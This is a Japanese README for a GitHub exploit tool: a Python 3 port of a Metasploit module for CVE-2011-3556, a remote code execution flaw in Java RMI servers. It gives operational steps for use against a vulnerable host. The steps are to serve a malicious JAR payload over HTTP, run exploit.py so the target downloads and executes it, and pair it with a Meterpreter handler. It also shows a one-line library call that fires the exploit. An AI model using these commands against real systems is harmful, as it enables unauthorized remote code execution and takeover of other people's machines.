sk4la/cve_2011_3556既存のCVE-2011-3556 概念実証（PoC）の Python 3 実装。
このツールは、mihi が Metasploit Framework 向けに作成した既存の 概念実証（PoC） を Python 3 で実装したものです。
モジュールを使用するには、以下の手順に従ってください:
# Clone this repository locally.
$ git clone https://github.com/sk4la/cve_2011_3556.git && cd cve_2011_3556/
# Optionally set the `x` bit to be able to execute the script directly.
$ chmod u+x exploit.py
$ ./exploit.py --help && echo "It works!"
脆弱な Java RMI サーバーにリモートでロードさせるには、ペイロード（JAR バイナリ）を HTTP リソースとして配信する必要があります。有名な python3 -m http.server を使えばすぐに配信できます。
ペイロードがダウンロード可能になったら、exploit.py スクリプトを実行するだけで脆弱性をトリガーできます。
$ python3 -m http.server --bind DELIVERY_HOST DELIVERY_PORT &
$ ./exploit.py -h VULNERABLE_HOST -u http://DELIVERY_HOST:DELIVERY_PORT/PAYLOAD.jar`
ペイロードが Meterpreter（Metasploit Framework）の場合は、
use exploit/multi/handlerを忘れないでください。
このモジュールは、cve_2011_3556 モジュールを現在の名前空間にインポートして、ライブラリとして使用することもできます:
from cve_2011_3556 import JavaRMIExploit
JavaRMIExploit("127.0.0.1", "http://127.0.0.1/payload.jar").exploit()
これだけで完了です！
Metasploit Framework モジュール の初期実装を提供してくれた mihi に特に感謝します。